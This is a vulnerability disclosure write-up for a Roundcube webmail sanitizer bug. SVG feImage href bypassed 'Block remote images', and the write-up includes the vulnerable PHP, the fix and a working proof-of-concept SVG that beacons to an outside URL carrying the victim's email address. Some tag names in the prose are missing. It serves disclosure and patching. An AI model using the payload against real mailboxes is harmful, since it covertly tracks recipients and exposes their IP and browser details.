Roundcube’s HTML sanitizer doesn’t treat SVG feImage href as an image source. Attackers can bypass remote image blocking to track email opens.

TL;DR: Roundcube’s rcube_washtml sanitizer blocked external resources on , , and , but not on . Its href went through the wrong code path and got allowed through. Attackers could track email opens even when “Block remote images” was on. Fixed in 1.5.13 and 1.6.13.

Vulnerability information

Background

When allow_remote is false, Roundcube’s sanitizer intercepts image-bearing attributes (src on , href on and ) and runs them through is_image_attribute(). That function blocks external URLs.

Separately, non-image URLs (like ) go through wash_link(), which lets HTTP/HTTPS URLs through. That’s fine for links the user clicks on intentionally.

Discovery

I got bored during my christmas vacation and this SVG-based XSS fix via the animate tag appeared on my radar. One SVG bug usually means more.¹ So I spent a few hours going through rcube_washtml.php, looking at which SVG elements made it onto the allowlist and how their attributes get handled and sanitized.

stood out.² Its href gets fetched on render, same as . But the sanitizer sends it through wash_link() instead of is_image_attribute().

So the “Block remote images” setting doesn’t apply to it.

Technical details

In wash_attribs(), every attribute hits a chain of checks. The first one that matches wins:

rcube_washtml.php

if ($this->is_image_attribute($node->nodeName, $key)) {
    $out = $this->wash_uri($value, true);  // blocks remote URLs
} elseif ($this->is_link_attribute($node->nodeName, $key)) {
    $out = $this->wash_link($value);        // allows http/https
}

Before the fix, is_image_attribute() looked like this:

rcube_washtml.php

private function is_image_attribute($tag, $attr)
{
    return $attr == 'background'
        || $attr == 'color-profile'
        || ($attr == 'poster' && $tag == 'video')
        || ($attr == 'src' && preg_match('/^(img|image|source|input|video|audio)$/i', $tag))
        || ($tag == 'use' && $attr == 'href')
        || ($tag == 'image' && $attr == 'href');
}

The href attribute is only matched for use and image. No feimage.

And is_link_attribute() is a catch-all³:

rcube_washtml.php

private function is_link_attribute($tag, $attr)
{
    return $attr === 'href';
}

So when the sanitizer encounters : is_image_attribute('feimage', 'href') returns false, is_link_attribute('feimage', 'href') returns true, and the URL goes through wash_link() which passes HTTP/HTTPS URLs straight through.

Proof of concept

An invisible 1×1 SVG, positioned off-screen:

<svg width="1" height="1" style="position:absolute;left:-9999px;">
  <defs>
    <filter id="t">
      <feImage href="https://httpbin.org/image/svg?email=victim@test.com"
               width="1" height="1"/>
    filter>
  defs>
  <rect filter="url(#t)" width="1" height="1"/>
svg>

The browser evaluates the SVG filter and fires a GET to the attacker’s URL.

Impact

The “Block remote images” setting doesn’t block this remote image. An attacker can confirm you opened it, log your IP, and fingerprint your browser.

The fix (26d7677) collapses the two separate use/image checks into a single regex that includes feimage:

rcube_washtml.php

|| ($attr == 'href' && preg_match('/^(feimage|image|use)$/i', $tag)); // SVG

Now hits is_image_attribute() first, gets routed through wash_uri(), and the remote URL is blocked.

Update to 1.5.13 or 1.6.13.

Timeline